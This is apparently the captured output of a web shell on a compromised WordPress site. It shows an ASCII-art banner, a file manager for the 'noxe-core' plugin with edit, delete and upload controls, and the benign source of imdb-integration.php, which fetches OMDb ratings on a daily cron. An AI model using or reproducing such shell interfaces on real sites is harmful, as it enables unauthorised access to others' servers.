⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀
⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀
⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈
⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀
⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀
⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Current Dir: /dom834884/wp-content/plugins/noxe-core/

[DIR] languages [ delete | rename ]
[DIR] meta-box-extensions [ delete | rename ]
[DIR] widgets [ delete | rename ]
[DIR] wpbakery [ delete | rename ]
[FILE] custom-post-types.php [ edit | delete | rename | download ]
[FILE] custom-taxonomies.php [ edit | delete | rename | download ]
[FILE] customizer-typekit-support.php [ edit | delete | rename | download ]
[FILE] customizer.php [ edit | delete | rename | download ]
[FILE] favorite-system.php [ edit | delete | rename | download ]
[FILE] imdb-integration.php [ edit | delete | rename | download ]
[FILE] index.php [ edit | delete | rename | download ]
[FILE] noxe-core.php [ edit | delete | rename | download ]
[FILE] social-media.php [ edit | delete | rename | download ]
[FILE] user-meta-fields.php [ edit | delete | rename | download ]
[FILE] watchlist-system.php [ edit | delete | rename | download ]

Viewing: /dom834884/wp-content/plugins/noxe-core/imdb-integration.php

<?php
/*======
*
* Cron Schedules
*
======*/
if( !function_exists( 'noxe_custom_cron_schedule' ) ) {

	function noxe_custom_cron_schedule( $schedules ) {

		$schedules['noxe_imdb_title_rating'] = array(
			'interval' => 86400,
			'display' => esc_html__( 'Every 24 hours', 'noxe-core' ),
		);

		return $schedules;

	}

}
add_filter( 'cron_schedules', 'noxe_custom_cron_schedule' );

if( !wp_next_scheduled( 'noxe_cron_hook' ) ) {

	wp_schedule_event( time(), 'noxe_imdb_title_rating', 'noxe_cron_hook' );

}
add_action( 'noxe_cron_hook', 'noxe_get_imdb_score' );



/*======
*
* Get IMDb Score
*
======*/
if( !function_exists( 'noxe_get_imdb_score' ) ) {

	function noxe_get_imdb_score() {

		$omdb_api = get_theme_mod( 'noxe_titles_omdb_api_key' );

		if( !empty( $omdb_api ) ) {

			$all_post_ids = get_posts(
				array(
					'fields'  => 'ids',
					'post_type' => 'title-item',
					'posts_per_page' => -1
				)
			);


			if( !empty( $all_post_ids ) ) {

				foreach( $all_post_ids as $post_id ) {

					$imdb_id = get_post_meta( esc_attr( $post_id ), 'noxe-title-imdb-id', true );
					$get_array = array(
						'timeout'  => 1,
					);
					$source = wp_remote_get( 'https://www.omdbapi.com/?i=' . esc_attr( $imdb_id ) . '&apikey=' . esc_attr( $omdb_api ), $get_array );

					if( is_array( $source ) ) {

						$content = $source['body'];
						$content_array = json_decode( $content, TRUE );

						if( isset( $content_array['imdbRating'] ) ) {

							update_post_meta( $post_id, 'noxe-title-imdb-rating', $content_array['imdbRating'] );

						}

					}

				}

			}

		}

	}

}


Upload File: